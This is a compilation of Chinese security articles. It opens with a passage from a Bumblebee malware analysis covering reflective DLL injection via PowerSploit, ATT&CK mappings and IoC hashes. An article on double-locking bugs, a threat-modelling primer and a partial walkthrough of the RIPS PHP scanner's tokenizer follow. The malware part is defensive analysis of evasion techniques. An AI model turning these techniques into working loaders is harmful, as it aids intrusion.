该恶意软件利用[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)模块执行。PowerSploit
是一个开源后利用框架，其中恶意软件使用 Invoke-ReflectivePEInjection
方法将[DLL](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1)反射式加载到 PowerShell
进程中。此方法验证嵌入文件并执行多项检查，以确保文件在执行系统上正确加载。
下图显示了“PowerShell.exe”内存中的第二阶段 PowerShell 脚本与 GitHub中的Invoke-ReflectivePEInjection代码之间的代码相似性。
图 6 – 代码相似性
第二阶段 PowerShell 脚本包含一个字节数组，其中第一个字节被替换为 0x4d 以获取实际的 PE DLL 文件，如下所示。此 DLL
文件是执行其他恶意活动的最终 Bumblebee 有效负载。
图 7 – 嵌入式有效载荷
下图展示了使用Invoke-ReflectivePEInjection函数注入到 Powershell 进程内存中的 DLL 有效负载
(LdrAddx64.dll) 。DLL 是反射加载的，可避免被用于识别活动/运行进程的 DLL 的工具检测到。
图 8 – PowerShell 内存中存在注入的 DLL
## **Bumblebee 有效载荷**
图 9 显示了最终 Bumblebee 恶意软件有效载荷的文件信息。根据我们的静态分析，我们发现负载是一个 64 位的 DLL 二进制文件，使用
Microsoft Visual C/C++ 编译器编译。
图 9 – 有效负载文件详细信息
2022 年 6 月，我们发布了关于 Bumblebee
加载程序的技术[博客。](https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/)研究表明，我们分析的当前变体的有效载荷行为与我们之前分析的类似。
## **结论**
Bumblebee 是一种最近开发的恶意软件加载程序，除了取代现有的 BazarLoader
之外，它已迅速成为各种网络攻击的关键组件。为了领先于网络安全实体，黑客 (TA) 不断采用新技术并持续监控，以随时了解企业采用的防御机制。同样，复杂的
Bumblebee 装载机背后的 TA 不断更新其功能，以加强其规避机动和反分析技巧。
CRIL 一直在密切监视 Bumblebee 恶意软件组和其他类似的 TA
组，以便更好地了解他们的动机，并让我们的读者了解最新的网络犯罪新闻和网络安全挑战。
## 建议
1. 请勿在未验证其真实性的情况下打开不受信任的链接和电子邮件附件。
2. 教育员工如何保护自己免受网络钓鱼/不受信任的 URL 等威胁。
3. 避免从未知网站下载文件。
4. 尽可能使用强密码并实施多因素身份验证。
5. 在计算机、移动设备和其他连接的设备上打开自动软件更新功能。
6. 在连接的设备（包括 PC、笔记本电脑和移动设备）上使用知名的防病毒和互联网安全软件包。
7. 阻止可能传播恶意软件的 URL，例如 Torrent/Warez。
8. 监控网络级别的信标，以阻止恶意软件或 TA 泄露数据。
9. 在员工系统上启用数据丢失防护 (DLP) 解决方案。
## **MITRE ATT &CK®技术**
**策略** | **技术编号** | **技术名称**
---|---|---
**初始访问** | [T1566](https://attack.mitre.org/techniques/T1566/) | 网络钓鱼
**执行** | [T1204](https://attack.mitre.org/techniques/T1204/)
[T1059](https://attack.mitre.org/techniques/T1059/001/) | 用户执行 PowerShell
**权限提升** | [T1574](https://attack.mitre.org/techniques/T1574/002/)
[T1055](https://attack.mitre.org/techniques/T1055/) | DLL 侧加载 进程注入
**防御规避** | [T1027](https://attack.mitre.org/techniques/T1027/002/)
[T1497](https://attack.mitre.org/techniques/T1497/)
[T1574](https://attack.mitre.org/techniques/T1574/002/) | 混淆文件或信息 虚拟化/沙盒规避 DLL
侧载
**发现** | [T1012](https://attack.mitre.org/techniques/T1012/)
[T1082](https://attack.mitre.org/techniques/T1082/)
[T1518](https://attack.mitre.org/techniques/T1518/001/) | 查询注册表 系统信息发现 安全软件发现
## **IoC**
**指标** | **指标类型** | **描述**
---|---|---
59fc33d849f9ad2ab4e4b7fe4b443a33 e4ed0f94e8ad9aeeb019e6d253e2eefa83b51b5a
2102214c6a288819112b69005737bcfdf256730ac859e8c53c9697e3f87839f2 | MD5 SHA1
SHA256 | VHD 文件
b3b877f927898a457e35e4c6a6710d01 8ed3dfa1ece8dbad0ccc8be8c1684f5a3de08ccb
1285f03b8dbe35c82feef0cb57b3e9b24e75efabba0589752c2256a8da00ad85 | MD5 SHA1
SHA256 | LNK 文件
254d757d0f176afa59ecea28822b3a71 3e59fff860826055423dde5bbd8830cceae17cf3
0ff8988d76fc6bd764a70a7a4f07a15b2b2c604138d9aadc784c9aeb6b77e275 | MD5 SHA1
SHA256 | PS1 文件 – 第 1 阶段
225b9fb42b5879c143c56ef7402cbcbc 03369886e9fc4b7eacc390045aa9c4b7fffad69a
db91155087bd2051b7ac0576c0994e9fffb5225c26ea134cb2f38e819f387 | MD5 SHA1
SHA256 | PS1 文件 – 第 2 阶段
da6feac8dff2a44784be3d078f2d4ac3 c0f43d1d3e87b0e8b86b4b9e91cb55b4a1893b48
9bd9da44cc2d259b8c383993e2e05bbe1bcdac917db563b94e824b4b1628e87c | MD5 SHA1
SHA256 | Bumblebee DLL 有效负载
* * * | 社区文章 |
# 【缺陷周话】第59期：重复加锁
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、重复加锁
所有针对互斥量的加锁解锁操作，都必须针对同一模块并且在同一抽象层面进行，否则将会可能导致某些加锁/解锁操作不会依照多线程设计而被执行，重复加锁即对已经加锁的资源进行再次加锁。
## 2、“重复加锁”的危害
某些情况下，重复加锁操作会导致第二次加锁操作要等待前一次加锁的解锁操作，由于加锁操作的重复，被等待的行为永远无法达到，造成死锁、程序拒绝服务等漏洞。CVE中也有一些与之相关的漏洞信息，从2019年1月至2019年11月，CVE中就有1条相关漏洞信息。漏洞信息如下：
CVE | 概述
---|---
CVE-2019-14763 | Linux kernel 4.16.4之前版本的drivers/usb/dwc3/gadget.c 中存在一个
double-locking error（重复加锁错误），导致死锁问题。
## 3、示例代码
示例源于toyota-itc-benchmarks-master (https://github.com/regehr/itc-benchmarks)，源文件名：double_lock.c。
### 3.1 缺陷代码
在上述示例代码中，第40行使用 pthread_mutex_lock() 函数对double_lock_001_glb_mutex
进行加锁操作，在没有进行解锁的情况下，第42行再次使用 pthread_mutex_lock() 函数对double_lock_001_glb_mutex
进行加锁操作，因此存在“重复加锁”问题。使用代码卫士对上述示例代码进行检测，可以检出“重复加锁”缺陷，显示等级为中。如图1所示：
图1：“重复加锁”检测示例
### 3.2 修复代码
在上述修复代码中，第40行使用 pthread_mutex_lock() 函数对double_lock_001_glb_mutex
进行加锁操作，在第42行使用pthread_mutex_unlock()
对其进行解锁，此时第44行再次进行加锁操作时，就避免了重复加锁问题。使用代码卫士对修复后的代码进行检测，可以看到已不存在“重复加锁”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免“重复加锁”
（1）在进行加锁操作时，需要检查代码逻辑，避免对已经进行锁定的互斥量进行重复加锁。（2）当互斥量类型为PTHREAD_MUTEX_ERRORCHECK时，会提供错误检查。如果某个线程尝试重新锁定的互斥锁已经由该线程锁定，则将返回错误。 | 社区文章 |
# 威胁建模介绍
> Who? What? When? Why? How?
# 1 谁做/需要做威胁建模？
* 软件开发和测试
* 架构师、操作员和管理员
* 客户
* 安全专家
# 2 什么是威胁建模
利用抽象来帮助思考风险
威胁建模是通过识别目标和漏洞来优化系统安全，然后定义防范或减轻系统威胁的对策的过程。
威胁建模是分析应用程序安全性的一种方法。这是一种结构化的方法，使您能够识别，量化和解决与应用程序相关的安全风险。威胁建模不是代码审查方法，但却是对安全代码审查过程的补充。在
SDLC
中包含威胁建模可以帮助确保从一开始就以内置的安全性开发应用程序。这与作为威胁建模过程一部分的文档相结合，可以使审阅者更好地理解系统。这使得审阅者可以看到应用程序的入口点以及每个入口点的相关威胁。威胁建模的概念并不新鲜，但近年来有了明显的思维转变。现代威胁建模从潜在的攻击者的角度来看待系统，而不是防御者的观点。微软在过去的几年里一直是这个过程的强有力的倡导者。他们已经将威胁建模作为其SDLC的核心组件，他们声称这是近年来产品安全性提高的原因之一。
当在SDLC之外执行源代码分析时（例如在现有的应用程序上），威胁建模的结果通过推广深度优先方法与宽度优先方法来帮助降低源代码分析的复杂性。您可以不用同等重点地审查所有源代码，而是将安全代码评估放在优先级上，这些组件的威胁建模已经排在高风险威胁之下。
# 3 在软件开发安全生命周期中进行威胁建模
威胁建模可以在软件设计和在线运行时进行， 按照“需求-设计-开发-测试-部署-运行-结束”的软件开发生命周期，威胁建模在新系统/新功能开发的设计阶段，增加安全需求说明，通过威胁建模满足软件安全设计工作；如果系统已经在上线运行，可以通过威胁建模发现新的风险，作为渗透测试的辅助工作，尽可能的发现所有的漏洞。
# 4 为什么要做威胁建模？
* 在早期发现 Bug
* 理解安全需求
* 建造和交付更好的产品
* 标记其他技术不能发现的问题
# 5 如何做威胁建模
## 5.1 图表
* 理解上下文环境
根据业务需求和开发框架理解业务遭受的威胁环境
* 设定攻击场景
* 画流程图
* 外部实体，外部实体可以浏览器、移动设备、人、进程等实体
* 数据流，可以是功能调用、网络数据流等
* 过程，可以是服务、组件
* 数据库，除了数据库也可以是文件、注册表、共享存储、缓存等
* 可信边界
* 添加与数据流相交的信任边界
* 攻击者可以插入的点/表面
* 物理边界，特权边界，完整性边界是信任边界的例子
* 本地进程中的线程通常在信任边界内，因为它们共享相同的权限，权限，标识符和访问权限
* 通过网络进行通讯的过程总是有一个信任边界
5个元素的示例见下图：
## 5.2 威胁分析
* STRIDE 介绍
* 欺骗（Spoofing threats）
身份欺骗的一个例子是非法访问，如使用其他用户的身份验证信息（用户名和密码）进行认证。
* 篡改（Tampering threats）
数据篡改涉及恶意修改数据。示例包括未经授权的对持久性数据（例如数据库中的数据）所做的更改以及在两台计算机之间通过互联网等开放网络进行传输中的数据更改。
* 否认（Repudiation threats）
拒绝威胁与拒绝执行操作的用户相关联，并且没有其他方面有任何证明的方式 -例如，用户在系统中执行非法操作，该系统不能追踪被禁止的操作。不可否认是指系统有抵制否认威胁的能力。例如，用户使用了转账业务，但是随后不承认转账过，系统需要证明用户的行为。
* 信息泄露（Information disclosure threats）
* 拒绝服务（Denial of service threats）
拒绝服务（DoS）攻击会拒绝有效用户的服务，例如，使Web服务器暂时不可用。必须防止某些类型的DoS威胁，以提高系统可用性和可靠性。
* 提权（Elevation of privilege threats）
在这种类型的威胁中，非特权用户获得特权访问权限，从而有足够的权限来妥协或破坏整个系统。提升特权威胁包括攻击者已经有效地渗透所有系统防御措施，成为可信系统本身的一部分。
元素与 STDRE 的关系：
* 隐私威胁
除了微软的典型的STRIDE分析方法，现在同样需要考虑隐私威胁，国内可以参考国标GBT
35273-2017《信息安全技术个人信息安全规范》，业务数据如果涉及了个人信息要考虑对隐私数据的威胁和保护。
* 攻击树
示例见下图：
攻击树可以根据组织业务经验进行积累，如组织同类型业务早期的攻击树分析，近期攻击者利用的漏洞、使用的技术等。
## 5.3 缓解措施
缓解模式，举些例子：
* 认证缓解欺骗
* 认证：
* 基本＆摘要认证
* LiveID身份验证
* Cookie认证
* Windows身份验证（NTLM）
* Kerberos身份验证
* PKI系统，如SSL / TLS和证书
* 安全
* 数字签名的数据包
* 验证代码或数据
* 数字签名
* 消息认证码
* 哈希
* 完整性缓解篡改
* Windows强制完整性控制
* 访问控制列表
* 数字签名
* 消息认证码
* 不可否认性缓解否认
* 强认证
* 安全的日志记录和审计
* 数字签名
* 保护时间戳
* 值得信赖的第三方
* 加密缓解信息泄露
* 加密
* 访问控制
* 可用性缓解拒绝服务
* 访问控制
* 过滤
* 配额
* 授权
* 高可用性设计
* 授权缓解提权
* 访问控制
* 组或角色成员资格
* 特权管理
* 输入验证
* 缓解隐私威胁
* 数据清洗
* 数据脱敏
* 传输/存储加密
* 访问控制
* 授权
## 5.4 威胁建模过程
* 微软提供的方法
过程如下图：
1. 预设场景
* 场景，会哪里使用该产品？
* 使用案例
* 为场景/用例增加安全性
* 结构化的方式来思考“你告诉客户有关产品的安全性？”
2. 图表化场景/过程
3. 识别威胁
* 如果不知道从哪开始，可以从外部实体或驱动动作的事件开始
* 不要忽略每一个威胁，因为你可能不知道它的利用方法
* 聚焦易实现的威胁
4. 提供每个威胁的缓解措施
5. 验证所有威胁和缓解措施
* 图表是否匹配最终的代码？
* 列举的威胁是？
* 最小化：触及信任边界的每个元素的STRIDE
* 有测试检查模型？
* 创建适当的测试计划
* 测试者的方法经常发现与TM或问题的细节
* 每个威胁是否得到缓解？
* 缓解措施是否正确
另外有套类似风险评估的方法，需要计算每个风险的值，以区分风险级别
过程见下图：
6. 识别资产：确定哪些是包含敏感或隐私信息的关键资产/信息/文件/位置
7. 创建体系结构概述：创建体系结构图以清楚地了解建议的应用程序及其托管环境
8. 分解应用程序：分解体系结构图以识别各种进入和退出标准
9. 识别威胁：使用STRIDE（欺骗，篡改，拒绝，信息披露，拒绝服务和特权提升）以及可能发生这些威胁的可能威胁
10. 记录威胁：识别各种资产，威胁和控制。捕获缺少安全控制的威胁列表，并为每个威胁提供适当的修复建议
11. 评估威胁：在与相应的客户/客户进行讨论之后，遵循DREAD（潜在损害，可重复性，可利用性，受影响的用户，可发现性）模型来对每个已识别的威胁
详细可以参考：<https://msdn.microsoft.com/en-us/library/ff648644.aspx>
* OWASP 过程
1. 分解应用程序。威胁建模过程的第一步是关注如何理解应用程序以及如何与外部实体交互。这包括创建用例来了解应用程序的使用方式，确定入口点以查看潜在攻击者可以与应用程序交互的位置，识别资产（即攻击者感兴趣的项目/区域），以及识别代表应用程序将授予外部实体的访问权限。此信息记录在“威胁模型”文档中，也用于为应用程序生成数据流图（DFD）。 DFD 显示通过系统的不同路径，突出特权边界。
2. 确定并排列威胁。识别威胁的关键在于使用威胁分类方法。可以使用诸如 STRIDE 的威胁分类，或定义诸如审计和日志记录，认证，授权，配置管理，存储和传输中的数据保护，数据验证，例外管理等威胁类别的应用安全框架（ASF）。威胁分类的目标是帮助识别来自攻击者（STRIDE）和防御角度（ASF）的威胁。在步骤1中生成的DFD有助于从攻击者的角度确定潜在的威胁目标，例如数据源，进程，数据流和与用户的交互。这些威胁可以进一步确定为威胁树的根源;每个威胁目标都有一棵树。从防御的角度来看，ASF 分类有助于将威胁识别为这种威胁的安全控制的弱点。常见的威胁列表和例子可以帮助识别这些威胁。使用和滥用案例可以说明现有的保护措施可以被绕过，或者缺乏这种保护措施。可以使用诸如 DREAD 的基于价值的风险模型或基于一般风险因素（例如可能性和影响）的较不主观的定性风险模型来确定每个威胁的安全风险。
3. 确定对策和缓解措施。缺乏对威胁的保护可能意味着可以通过实施对策来减轻风险。这种对策可以使用威胁对策映射列表来识别。一旦将风险等级分配给威胁，就可以将威胁从最高风险分类到最低风险，并且优先化缓解工作，例如通过应用所识别的对策来对这些威胁进行响应。风险缓解策略可能涉及评估这些威胁所带来的业务影响，并降低风险。其他选择可能包括承担风险，假设业务影响是可接受的，因为补偿性控制，通知用户威胁，完全消除威胁构成的风险，或者是最不可取的选择，即什么都不做。
OWASP的方法也是介绍了风险值的计算方法，详细说明见：<https://www.owasp.org/index.php/Application_Threat_Modeling>
# 6 实际的威胁建模示例
以简单的用户登录情况示例
1. **设定场景**
用户使用浏览器登录Web应用系统，登录时检查是否为HTTPS请求，如果不是重定向到HTTPS，用户提交用户名和密码到应用服务器，应用服务网从后台数据库查询是否为正确的输入，如果用户名和密码正确，则认证成功，登录用户自己的首页界面。
2. **图表化过程**
使用微软的建模工具辅助作图，过程见下图：
3. **识别威胁**
结合本文 STRIDE 介绍部分，外部实体 User 可能存在欺骗、否认的威胁，否认可能是用户否认某次登录请求。
过程“提交登录请求”可能存在篡改、拒绝服务威胁，篡改可以是拦截非 HTTPS 请求重定向到一个钓鱼站点。
4. **缓解措施**
根据识别的威胁分析可以实施的缓解措施，最后整理成报告格式，可以用表格描述（下图只是个示例）
# 7 威胁建模工具
* 通用工具
白板 + 纸
* 开源工具
微软开源的威胁建模工具[github](https://github.com/microsoft/threat-modeling-templates)
* 下载：
<https://aka.ms/tmtpreview>
* 文档：
<https://docs.microsoft.com/en-us/azure/security/azure-security-threat-modeling-tool-getting-started>
* 商业工具
<https://www.continuumsecurity.net/threat-modeling-tool/>
# 8 攻击库
* 检查清单
* CAPEC
* OWASP
<https://www.owasp.org/index.php/Threat_Modeling_Cheat_Sheet>
* 建立自己的威胁库
# _参考_
* <https://blogs.msdn.microsoft.com/ptorr/2005/02/22/guerrilla-threat-modelling-or-threat-modeling-if-youre-american/>
* <https://msdn.microsoft.com/en-us/library/ff648644.aspx>
* <https://www.infoq.com/articles/developer-driven-threat-modeling>
* <https://www.owasp.org/index.php/Application_Threat_Modeling> | 社区文章 |
# RIPS源码精读(二)：扫描对象的实例化及token信息的生成
##### 译文声明
本文是翻译文章，文章来源：xz.aliyun.com
原文地址：<https://xz.aliyun.com/t/2605>
译文仅供参考，具体内容表达以及含义原文为准。
作者：梅子酒
>
> 很早就有深入分析学习一款源代码审计工具的想法，在查找rips源码分析相关资料时，发现相关的学习分析资料较少，于是选择rips作为该系列文章的分析对象，因为没有最新版的rips的源码，因此选取的rips源码为已公开的版本。
>
> 因为我是第一次将具体的分析写下来，并且本身的技术能力问题，在某些场景下的用语或者技术细节描述可能存在偏差，请师傅们包涵。上一篇文章：[RIPS源码精读(一):逻辑流程及lib文件夹大致说明](https://xz.aliyun.com/t/2502)
## 引言
在main.php的171行附近,rips对`Scanner`类进行了实例化，并由此进入正式的分析流程。
## 内容简介
阅读rips关于token分析处理相关的源码，并分析对应的用途及处理逻辑。
## Scanner类
首先是调用`Scanner`类的构造函数
$scan = new Scanner($file_scanning, $scan_functions, $info_functions, $source_functions);
各参数说明如下:
$file_scanning:待扫描文件的文件名
$scan_functions:待扫描的函数类型，由 main.php 中 $_POST['vector'] 的值决定
$info_functions:由 main.php 中 Info::$F_INTEREST 而来,是一个已定义的函数名数组
$source_functions:由 main.php 中 Sources::$F_OTHER_INPUT 而来,是一个已定义的函数名数组
### Scanner类构造函数分析
Scanner构造函数定义如下:
function __construct($file_name, $scan_functions, $info_functions, $source_functions)
首先是大量的变量初始赋值:
//直接传参获取的参数
$this->file_name = $file_name;
$this->scan_functions = $scan_functions;
$this->info_functions = $info_functions;
$this->source_functions = $source_functions;
//......
其中夹杂着`Analyzer`类的初始化,用于获取php的`include_path`配置
$this->include_paths = Analyzer::get_ini_paths(ini_get("include_path"));
紧接着便是根据文件生成token信息
$tokenizer = new Tokenizer($this->file_pointer);
$this->tokens = $tokenizer->tokenize(implode('',$this->lines_pointer));
unset($tokenizer);
在讲这几行作用之前,要先了解`token_get_all`函数
### token_get_all()函数简单介绍
php手册说明如下
> token_get_all() 解析提供的 source 源码字符，然后使用 Zend 引擎的语法分析器获取源码中的 PHP 语言的解析器代号
函数定义
> array token_get_all ( string $source )
示例代码
<?php echo 123;>
token_get_all()处理语句
token_get_all("<?php echo 123;>");
处理结果
Array
(
[0] => Array
(
[0] => 376
[1] => <?php
[2] => 1
)
[1] => Array
(
[0] => 319
[1] => echo
[2] => 1
)
[2] => Array
(
[0] => 379
[1] =>
[2] => 1
)
[3] => Array
(
[0] => 308
[1] => 123
[2] => 1
)
[4] => ;
[5] => Array
(
[0] => 378
[1] => ?>
[2] => 1
)
)
可以看到,代码被分割成了五段,其中除了第四段之外,每一段都分为三段.
我们设`$token=token_get_all(....)`,那么`$token[0]`便对应着
Array
(
[0] => 376
[1] => <?php
[2] => 1
)
则`$token[0][1]`对应`<?php`
那么下一个问题便是`$token[0]`对应数组中的三个值,分别代表什么意思,解释如下:
Array
(
[0] => 376 // token索引
[1] => <?php // 具体内容
[2] => 1 // 行号
)
我们可以使用token_name获得索引所对应的字面常量
echo token_name(376);
//result => T_OPEN_TAG
echo token_name(319);
//result => T_ECHO
echo token_name(308);
//result => T_LNUMBER
echo token_name(378)
//result => T_CLOSE_TAG
以上便是对token_get_all函数大致介绍
### Scanner类中token信息生成分析
回到生成`token`信息的这几句
$tokenizer = new Tokenizer($this->file_pointer);
$this->tokens = $tokenizer->tokenize(implode('',$this->lines_pointer));
unset($tokenizer);
```php
function __construct($filename){
$this->filename = $filename;
}
接下来调用`tokenize`函数,跟进
public function tokenize($code){
$this->tokens = token_get_all($code);
$this->prepare_tokens();
$this->array_reconstruct_tokens();
$this->fix_tokens();
$this->fix_ternary();
#die(print_r($this->tokens));
return $this->tokens;
}
可以看出在`tokenize`调用了多个token分析相关的函数,完成token分析准备、重构等工作
**prepare_token()函数分析**
跟进`$this->prepare_tokens()`
function prepare_tokens()
{
for($i=0, $max=count($this->tokens); $i<$max; $i++)
{
if( is_array($this->tokens[$i]) )
{
if( in_array($this->tokens[$i][0], Tokens::$T_IGNORE) )
unset($this->tokens[$i]);
else if( $this->tokens[$i][0] === T_CLOSE_TAG )
$this->tokens[$i] = ';';
else if( $this->tokens[$i][0] === T_OPEN_TAG_WITH_ECHO )
$this->tokens[$i][1] = 'echo';
}
else if($this->tokens[$i] === '@')
{
unset($this->tokens[$i]);
}
else if( $this->tokens[$i] === '{'
&& isset($this->tokens[$i-1]) && ((is_array($this->tokens[$i-1]) && $this->tokens[$i-1][0] === T_VARIABLE)
|| $this->tokens[$i-1] === ']') )
{
$this->tokens[$i] = '[';
$f=1;
while($this->tokens[$i+$f] !== '}')
{
$f++;
if(!isset($this->tokens[$i+$f]))
{
addError('Could not find closing brace of '.$this->tokens[$i-1][1].'{}.', array_slice($this->tokens, $i-1, 2), $this->tokens[$i-1][2], $this->filename);
break;
}
}
$this->tokens[$i+$f] = ']';
}
}
// rearranged key index of tokens
$this->tokens = array_values($this->tokens);
}
在`prepare_token`函数中,大体上是由一个`for`循环与`return`语句组成,`for`循环为`prepare_token`的主要功能
首先对每个`token`判断是否为数组,这一判断的依据我们在上面已经提到,随后进入`in_array`,在第一个`in_array`中,紧接着是第二个`in_array`,这一步的主要作用为,通过`token索引`来判断是否为需要忽略的`token`,若为需要忽略token,则`unset`
与第二个`in_array`处于同一判断级别的条件为判断是否为php的开始(`<?=`)与闭合标签,若是,则替换为`;`或`echo`
与第一个`in_array`处于同一判断级别的另两个条件为
1. `@`符号
2. 该`token`信息为`{`,且下一`token`信息存在,`下一token信息为数组,下一token的索引对应变量`或`下一token为]`
在该`else
if`语句中,首先会将本次循环对应的`token`信息的`{`替换为`[`,接着便是while循环,寻找下一个闭合的`}`符号,如果寻找不到则执行`addError`
这个`else if`解释起来较为复杂繁琐,简单来讲便是将`$array{xxx}`格式的变量转换为`$array[xxx]`
接下来便是结束循环语句,执行`return`语句
总结一下`prepare_token()`函数功能:
> 去除无意义的符号,统一数组格式为$array[xxx]格式
**array_reconstruct_tokens函数分析**
在开始这里的分析前,我们先观察数组变量的`token`结构,php代码:
<?php
$array = array();
$array[0] = [1];
$array["meizj"] = ["mei"];
得到的`token`信息:
/Applications/MAMP/htdocs/aaa.php:18:
array (size=35)
0 =>
array (size=3)
0 => int 376
1 => string '<?php
' (length=6)
2 => int 1
1 =>
array (size=3)
0 => int 379
1 => string '
' (length=1)
2 => int 2
2 =>
array (size=3)
0 => int 312
1 => string '$array' (length=6)
2 => int 3
3 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 3
4 => string '=' (length=1)
5 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 3
6 =>
array (size=3)
0 => int 366
1 => string 'array' (length=5)
2 => int 3
7 => string '(' (length=1)
8 => string ')' (length=1)
9 => string ';' (length=1)
10 =>
array (size=3)
0 => int 379
1 => string '
' (length=1)
2 => int 3
11 =>
array (size=3)
0 => int 312
1 => string '$array' (length=6)
2 => int 4
12 => string '[' (length=1)
13 =>
array (size=3)
0 => int 308
1 => string '0' (length=1)
2 => int 4
14 => string ']' (length=1)
15 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 4
16 => string '=' (length=1)
17 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 4
18 => string '[' (length=1)
19 =>
array (size=3)
0 => int 308
1 => string '1' (length=1)
2 => int 4
20 => string ']' (length=1)
21 => string ';' (length=1)
22 =>
array (size=3)
0 => int 379
1 => string '
' (length=1)
2 => int 4
23 =>
array (size=3)
0 => int 312
1 => string '$array' (length=6)
2 => int 5
24 => string '[' (length=1)
25 =>
array (size=3)
0 => int 318
1 => string '"meizj"' (length=7)
2 => int 5
26 => string ']' (length=1)
27 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 5
28 => string '=' (length=1)
29 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 5
30 => string '[' (length=1)
31 =>
array (size=3)
0 => int 318
1 => string '"mei"' (length=5)
2 => int 5
32 => string ']' (length=1)
33 => string ';' (length=1)
34 =>
array (size=3)
0 => int 379
1 => string '
' (length=3)
2 => int 5
从第13行开始,出现的token索引为:
> 308 379 312 318
分别对应的`token`信息为:
> T_LNUMBER:整型
> T_WHITESPACE:空格
> T_VARIABLE:变量
> T_CONSTANT_ENCAPSED_STRING:字符串语法
因此,根据行数与对应token索引的值可以明白键值的类型是可以由`T_CONSTANT_ENCAPSED_STRING`以及`T_LNUMBER`来表示的.
有了这层基础,我们才能较好的去分析`array_reconstruct_tokens`
随后进入`array_reconstruct_tokens`函数,函数源码如下:
function array_reconstruct_tokens()
{
for($i=0,$max=count($this->tokens); $i<$max; $i++)
{
if( is_array($this->tokens[$i]) && $this->tokens[$i][0] === T_VARIABLE && $this->tokens[$i+1] === '[' )
{
$this->tokens[$i][3] = array();
$has_more_keys = true;
$index = -1;
$c=2;
// loop until no more index found: array[1][2][3]
while($has_more_keys && $index < MAX_ARRAY_KEYS)
{
$index++;
if(($this->tokens[$i+$c][0] === T_CONSTANT_ENCAPSED_STRING || $this->tokens[$i+$c][0] === T_LNUMBER || $this->tokens[$i+$c][0] === T_NUM_STRING || $this->tokens[$i+$c][0] === T_STRING) && $this->tokens[$i+$c+1] === ']')
{
unset($this->tokens[$i+$c-1]);
$this->tokens[$i][3][$index] = str_replace(array('"', "'"), '', $this->tokens[$i+$c][1]);
unset($this->tokens[$i+$c]);
unset($this->tokens[$i+$c+1]);
$c+=2;
// save tokens of non-constant index as token-array for backtrace later
} else
{
$this->tokens[$i][3][$index] = array();
$newbraceopen = 1;
unset($this->tokens[$i+$c-1]);
while($newbraceopen !== 0)
{
if( $this->tokens[$i+$c] === '[' )
{
$newbraceopen++;
}
else if( $this->tokens[$i+$c] === ']' )
{
$newbraceopen--;
}
else
{
$this->tokens[$i][3][$index][] = $this->tokens[$i+$c];
}
unset($this->tokens[$i+$c]);
$c++;
if(!isset($this->tokens[$i+$c]))
{
addError('Could not find closing bracket of '.$this->tokens[$i][1].'[].', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);
break;
}
}
unset($this->tokens[$i+$c-1]);
}
if($this->tokens[$i+$c] !== '[')
$has_more_keys = false;
$c++;
}
$i+=$c-1;
}
}
$this->tokens = array_values($this->tokens);
}
回到```array_reconstruct_tokens```函数
首先分析第一个```if```语句,判断要求为:
1. 该```token```信息为数组
2. 该```token```的索引为变量类型
3. 该```token```的下一个```token```信息为```[
从这三个条件,我们可以很容易发现这是在寻找`数组`类型的变量,继续分析
在进入if语句后,将`$this->token[$i][3]`替换为了数组,随后又进行了三次赋值:
$has_more_keys = true;
$index = -1;
$c=2;
暂时不分析其各自含义,继续向下分析
接下来是一个`while`循环,判断条件有两个:
1. `$has_more_keys`是否为真
2. `$index`小于`MAX_ARRAY_KEYS`
两者需要同时满足,才进入while循环.跟踪`MAX_ARRAY_KEYS`常量,发现是类似于数组维数的变量,定义如下:
define('MAX_ARRAY_KEYS', 10); // maximum array key $array[1][2][3][4]..
进入之后`while`循环,首先`$index`变量自增,随后是`if`语句,判断条件如下:
1. `token`索引的值需要为数组
2. `token`索引的值需要为`T_CONSTANT_ENCAPSED_STRING`,`T_LNUMBER`,`T_NUM_STRING`,`T_STRING`
3. 下一个`token`对应的值为`]`
可以判断出,这是在寻找数组的键值部分
进入该`if`语句后,首先将上一个`token`信息消除,再将该`token`的值去掉单双引号存入`$this->token[$i+$c][3]`位置的数组.
进入该`if`语句对应的`else`语句中,与前面取`不变值作为index`不同,else语句中则是对`变值作为index`的收集
首先是赋值语句,对`token`新增了第四个键值,并初始化为数组:
$this->tokens[$i][3][$index] = array();
接下来对`$newbraceopen`赋值为`1`,该变量可理解为`[`出现的次数.
往下两行是`while`循环:
while($newbraceopen !== 0)
{
if( $this->tokens[$i+$c] === '[' )
{
$newbraceopen++;
}
else if( $this->tokens[$i+$c] === ']' )
{
$newbraceopen--;
}
else
{
$this->tokens[$i][3][$index][] = $this->tokens[$i+$c];
}
unset($this->tokens[$i+$c]);
$c++;
if(!isset($this->tokens[$i+$c]))
{
addError('Could not find closing bracket of '.$this->tokens[$i][1].'[].', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);
break;
}
}
有了上一个`if`的基础,我们可以轻易看出,该`while`语句作用为将数组的`值`存储在token信息的第四个键上.
到此为止,`array_reconstruct_tokens`函数的作用基本明了:
> 将数组如由`$array[]`格式转换为`$token[i][3]`格式表示的数据
**fix_tokens()函数分析**
整个函数与上面类似,由```for```和```return```语句构成,跟入```for```语句.
首先是```if```语句,当前token信息为反引号时,则进入if语句.
```if```语句中嵌套了```while```语句,可以发现```if```的条件和```while```的条件刚好可以构成由一对反引号包裹的变量.
而在```while```语句中的逻辑则是在取其行号,当```while```语句结束后,则进入行号的判断,若行号存在,则第二个反引号的位置被替换为```)```,第一个反引号的位置被替换为如下的token信息:
$this->tokens[$i] = array(T_STRING, ‘backticks’, $line_nr);
在第一个```if```语句最后以```array_merger```收尾,语句如下:
```php
$this->tokens = array_merge(
array_slice($this->tokens, 0, $i+1),
array('('),
array_slice($this->tokens, $i+1)
);
结合刚刚提到到,将第二个反引号替换为`)`,那么换个角度看,其实也缺失了一个`(`,为了补齐这个括号,通过使用将`token`先分段,再插入,再组合的方法达到补齐括号的效果.
因为`fix_token`的函数过长,因此每个`if`我都会总结一下作用,那么这个if的作用其实便是:
